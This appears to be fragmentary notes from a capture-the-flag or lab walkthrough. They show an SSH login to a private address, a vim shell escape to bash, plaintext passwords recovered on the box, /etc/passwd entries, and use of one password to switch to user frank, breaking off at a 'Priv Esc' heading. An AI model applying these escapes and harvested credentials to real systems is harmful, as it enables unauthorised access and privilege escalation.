ss

 
ssh margaret@172.16.1.10

Shell escape using vim

:set shell=/bin/bash
:shell

Looking around the system

Password : STARS5678FORTUNE401 Passoword: TractorHeadtorchDeskmat

root:x:0:0:root:/root:/bin/bash
frank:x:1000:1000:frank,,,:/home/frank:/bin/bash
omsagent:x:997:998:OMS agent:/var/opt/microsoft/omsagent/run:/bin/bash
nxautomation:x:996:995:nxOMSAutomation:/home/nxautomation/run:/bin/bash

Changing the user to frank

su frank
TractorHeadtorchDeskmat

Priv Esc